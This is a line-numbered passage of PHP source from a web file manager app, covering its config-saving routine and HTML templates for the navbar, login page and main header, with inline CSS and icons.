  3239. $fm_url = rtrim($fm_url, '/');
  3240. $msg .= '<br>';
  3241. $msg .= '<br>Seems like you have a trailing slash on the URL.';
  3242. $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
  3243. }
  3244. die($msg);
  3245. }
  3246. if (is_array($data) && count($data)) $this->data = $data;
  3247. else $this->save();
  3248. }
  3249.  
  3250. function save()
  3251. {
  3252. $fm_file = __FILE__;
  3253. $var_name = '$CONFIG';
  3254. $var_value = var_export(json_encode($this->data), true);
  3255. $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
  3256. if (is_writable($fm_file)) {
  3257. $lines = file($fm_file);
  3258. if ($fh = @fopen($fm_file, "w")) {
  3259. @fputs($fh, $config_string, strlen($config_string));
  3260. for ($x = 3; $x < count($lines); $x++) {
  3261. @fputs($fh, $lines[$x], strlen($lines[$x]));
  3262. }
  3263. @fclose($fh);
  3264. }
  3265. }
  3266. }
  3267. }
  3268.  
  3269.  
  3270.  
  3271. //--- templates functions
  3272.  
  3273. /**
  3274. * Show nav block
  3275. * @param string $path
  3276. */
  3277. function fm_show_nav_path($path)
  3278. {
  3279. global $lang, $sticky_navbar;
  3280. $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
  3281. $getTheme = fm_get_theme();
  3282. $getTheme .= " navbar-light";
  3283. if(FM_THEME == "dark") {
  3284. $getTheme .= " navbar-dark";
  3285. } else {
  3286. $getTheme .= " bg-white";
  3287. }
  3288. ?>
  3289. <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
  3290. <a class="navbar-brand" href=""> <?php echo lng('AppTitle') ?> </a>
  3291. <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
  3292. <span class="navbar-toggler-icon"></span>
  3293. </button>
  3294. <div class="collapse navbar-collapse" id="navbarSupportedContent">
  3295.  
  3296. <?php
  3297. $path = fm_clean_path($path);
  3298. $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
  3299. $sep = '<i class="bread-crumb"> / </i>';
  3300. if ($path != '') {
  3301. $exploded = explode('/', $path);
  3302. $count = count($exploded);
  3303. $array = array();
  3304. $parent = '';
  3305. for ($i = 0; $i < $count; $i++) {
  3306. $parent = trim($parent . '/' . $exploded[$i], '/');
  3307. $parent_enc = urlencode($parent);
  3308. $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
  3309. }
  3310. $root_url .= $sep . implode($sep, $array);
  3311. }
  3312. echo '<div class="col-xs-6 col-sm-5">' . $root_url . '</div>';
  3313. ?>
  3314.  
  3315. <div class="col-xs-6 col-sm-7 text-right">
  3316. <ul class="navbar-nav mr-auto float-right <?php echo fm_get_theme(); ?>">
  3317. <li class="nav-item mr-2">
  3318. <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
  3319. <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
  3320. <div class="input-group-append">
  3321. <span class="input-group-text" id="search-addon2"><i class="fa fa-search"></i></span>
  3322. </div>
  3323. <div class="input-group-append btn-group">
  3324. <span class="input-group-text dropdown-toggle" id="search-addon2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
  3325. <div class="dropdown-menu dropdown-menu-right">
  3326. <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-toggle="modal" data-target="#searchModal">Advanced Search</a>
  3327. </div>
  3328. </div>
  3329. </div>
  3330. </li>
  3331. <?php if (!FM_READONLY): ?>
  3332. <li class="nav-item">
  3333. <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
  3334. </li>
  3335. <li class="nav-item">
  3336. <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-toggle="modal" data-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
  3337. </li>
  3338. <?php endif; ?>
  3339. <?php if (FM_USE_AUTH): ?>
  3340. <li class="nav-item avatar dropdown">
  3341. <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo $_SESSION[FM_SESSION_ID]['logged']; } ?></a>
  3342. <div class="dropdown-menu dropdown-menu-right <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
  3343. <?php if (!FM_READONLY): ?>
  3344. <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
  3345. <?php endif ?>
  3346. <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
  3347. <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
  3348. </div>
  3349. </li>
  3350. <?php else: ?>
  3351. <?php if (!FM_READONLY): ?>
  3352. <li class="nav-item">
  3353. <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
  3354. </li>
  3355. <?php endif; ?>
  3356. <?php endif; ?>
  3357. </ul>
  3358. </div>
  3359. </div>
  3360. </nav>
  3361. <?php
  3362. }
  3363.  
  3364. /**
  3365. * Show message from session
  3366. */
  3367. function fm_show_message()
  3368. {
  3369. if (isset($_SESSION[FM_SESSION_ID]['message'])) {
  3370. $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
  3371. echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
  3372. unset($_SESSION[FM_SESSION_ID]['message']);
  3373. unset($_SESSION[FM_SESSION_ID]['status']);
  3374. }
  3375. }
  3376.  
  3377. /**
  3378. * Show page header in Login Form
  3379. */
  3380. function fm_show_header_login()
  3381. {
  3382. $sprites_ver = '20160315';
  3383. header("Content-Type: text/html; charset=utf-8");
  3384. header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
  3385. header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
  3386. header("Pragma: no-cache");
  3387.  
  3388. global $lang, $root_url, $favicon_path;
  3389. ?>
  3390. <!DOCTYPE html>
  3391. <html lang="en">
  3392. <head>
  3393. <meta charset="utf-8">
  3394. <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  3395. <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
  3396. <meta name="author" content="CCP Programmers">
  3397. <meta name="robots" content="noindex, nofollow">
  3398. <meta name="googlebot" content="noindex">
  3399. <?php if($favicon_path) { echo '<link rel="icon" href="'.fm_enc($favicon_path).'" type="image/png">'; } ?>
  3400. <title><?php echo fm_enc(APP_TITLE) ?></title>
  3401. <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
  3402. <style>
  3403. body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
  3404. .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
  3405. .fm-login-page .brand img{ width:100%}
  3406. .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
  3407. .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
  3408. .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
  3409. .fm-login-page .form-control{ border-width:2.3px}
  3410. .fm-login-page .form-group label{ width:100%}
  3411. .fm-login-page .btn.btn-block{ padding:12px 10px}
  3412. .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
  3413. @media screen and (max-width:425px){
  3414. .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
  3415. }
  3416. @media screen and (max-width:320px){
  3417. .fm-login-page .card.fat{ padding:0}
  3418. .fm-login-page .card.fat .card-body{ padding:15px}
  3419. }
  3420. .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
  3421. .message.ok{ border-color:green;color:green}
  3422. .message.error{ border-color:red;color:red}
  3423. .message.alert{ border-color:orange;color:orange}
  3424. body.fm-login-page.theme-dark {background-color: #2f2a2a;}
  3425. .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
  3426. </style>
  3427. </head>
  3428. <body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
  3429. <div id="wrapper" class="container-fluid">
  3430.  
  3431. <?php
  3432. }
  3433.  
  3434. /**
  3435. * Show page footer in Login Form
  3436. */
  3437. function fm_show_footer_login()
  3438. {
  3439. ?>
  3440. </div>
  3441. <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script>
  3442. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
  3443. </body>
  3444. </html>
  3445. <?php
  3446. }
  3447.  
  3448. /**
  3449. * Show Header after login
  3450. */
  3451. function fm_show_header()
  3452. {
  3453. $sprites_ver = '20160315';
  3454. header("Content-Type: text/html; charset=utf-8");
  3455. header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
  3456. header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
  3457. header("Pragma: no-cache");
  3458.  
  3459. global $lang, $root_url, $sticky_navbar, $favicon_path;
  3460. $isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
  3461. ?>
  3462. <!DOCTYPE html>
  3463. <html>
  3464. <head>
  3465. <meta charset="utf-8">
  3466. <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  3467. <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
  3468. <meta name="author" content="CCP Programmers">
  3469. <meta name="robots" content="noindex, nofollow">
  3470. <meta name="googlebot" content="noindex">
  3471. <?php if($favicon_path) { echo '<link rel="icon" href="'.fm_enc($favicon_path).'" type="image/png">'; } ?>
  3472. <title><?php echo fm_enc(APP_TITLE) ?></title>
  3473. <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
  3474. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
  3475. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" />
  3476. <?php if (FM_USE_HIGHLIGHTJS): ?>
  3477. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css">
  3478. <?php endif; ?>
  3479. <style>
  3480. body { font-size:14px;color:#222;background:#F7F7F7; }
  3481. body.navbar-fixed { margin-top:55px; }
  3482. a:hover, a:visited, a:focus { text-decoration:none !important; }
  3483. * { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; }
  3484. .filename, td, th { white-space:nowrap }
  3485. .navbar-brand { font-weight:bold; }
  3486. .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
  3487. .nav-item.avatar a > i { font-size:15px; }
  3488. .nav-item.avatar .dropdown-menu a { font-size:13px; }
  3489. #search-addon { font-size:12px;border-right-width:0; }
  3490. #search-addon2 { background:transparent;border-left:0; }
  3491. .bread-crumb { color:#cccccc;font-style:normal; }
  3492. #main-table .filename a { color:#222222; }
  3493. .table td, .table th { vertical-align:middle !important; }
  3494. .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; }
  3495. .table-sm td, .table-sm th { padding:.4rem; }
  3496. .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
  3497. .hidden { display:none }
  3498. pre.with-hljs { padding:0 }
  3499. pre.with-hljs code { margin:0;border:0;overflow:visible }
  3500. code.maxheight, pre.maxheight { max-height:512px }
  3501. .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec }
  3502. .fa.fa-home { font-size:1.3em;vertical-align:bottom }
  3503. .path { margin-bottom:10px }
  3504. form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
  3505. .right { text-align:right }
  3506. .center, .close, .login-form { text-align:center }
  3507. .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff }
  3508. .message.ok { border-color:green;color:green }
  3509. .message.error { border-color:red;color:red }
  3510. .message.alert { border-color:orange;color:orange }
  3511. .preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC) }
  3512. .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px }
  3513. .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px }
  3514. .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 }
  3515. .compact-table { border:0;width:auto }
  3516. .compact-table td, .compact-table th { width:100px;border:0;text-align:center }
  3517. .compact-table tr:hover td { background-color:#fff }
  3518. .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis }
  3519. .break-word { word-wrap:break-word;margin-left:30px }
  3520. .break-word.float-left a { color:#7d7d7d }
  3521. .break-word + .float-right { padding-right:30px;position:relative }
  3522. .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px }
  3523. #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px }
  3524. @media (max-width:481px) {
  3525. #editor { top:150px; }
  3526. }
  3527. #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
  3528. .btn-2 { border-radius:0;padding:3px 6px;font-size:small; }
  3529. li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
  3530. li.folder:before { content:"\f114" }
  3531. i.fa.fa-folder-o { color:#0157b3 }
  3532. i.fa.fa-picture-o { color:#26b99a }
  3533. i.fa.fa-file-archive-o { color:#da7d7d }
  3534. .btn-2 i.fa.fa-file-archive-o { color:inherit }
  3535. i.fa.fa-css3 { color:#f36fa0 }
  3536. i.fa.fa-file-code-o { color:#007bff }
  3537. i.fa.fa-code { color:#cc4b4c }
  3538. i.fa.fa-file-text-o { color:#0096e6 }
  3539. i.fa.fa-html5 { color:#d75e72 }
  3540. i.fa.fa-file-excel-o { color:#09c55d }
  3541. i.fa.fa-file-powerpoint-o { color:#f6712e }
  3542. i.go-back { font-size:1.2em;color:#007bff; }
  3543. .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) }
  3544. .dataTables_filter { display:none; }
  3545. table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
  3546. table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
  3547. table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
  3548. table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
  3549. .footer-action li { margin-bottom:10px; }
  3550. .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
  3551. hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
  3552. .ekko-lightbox .modal-dialog { max-width:98%; }
  3553. .ekko-lightbox-item.fade.in.show .row { background:#fff; }
  3554. .ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; }
  3555. .ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; }
  3556. .ekko-lightbox-nav-overlay a:hover { color:#20507D; }
  3557. #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
  3558. #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
  3559. @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
  3560. to { bottom:30px;opacity:1; }
  3561. }
  3562. @keyframes fadein { from { bottom:0;opacity:0; }
  3563. to { bottom:30px;opacity:1; }
  3564. }
  3565. @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
  3566. to { bottom:0;opacity:0; }
  3567. }
  3568. @keyframes fadeout { from { bottom:30px;opacity:1; }
  3569. to { bottom:0;opacity:0; }
  3570. }
  3571. #main-table span.badge { border-bottom:2px solid #f8f9fa }
  3572. #main-table span.badge:nth-child(1) { border-color:#df4227 }
  3573. #main-table span.badge:nth-child(2) { border-color:#f8b600 }
  3574. #main-table span.badge:nth-child(3) { border-color:#00bd60 }
  3575. #main-table span.badge:nth-child(4) { border-color:#4581ff }
  3576. #main-table span.badge:nth-child(5) { border-color:#ac68fc }
  3577. #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
  3578. @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; }
  3579. }
  3580. .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
  3581. .lds-facebook { display:none;position:relative;width:64px;height:64px }
  3582. .lds-facebook div,.lds-facebook.show-me { display:inline-block }
  3583. .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
  3584. .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
  3585. .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
  3586. .lds-facebook div:nth-child(3) { left:45px;animation-delay:0 }
  3587. @keyframes lds-facebook { 0% { top:6px;height:51px }
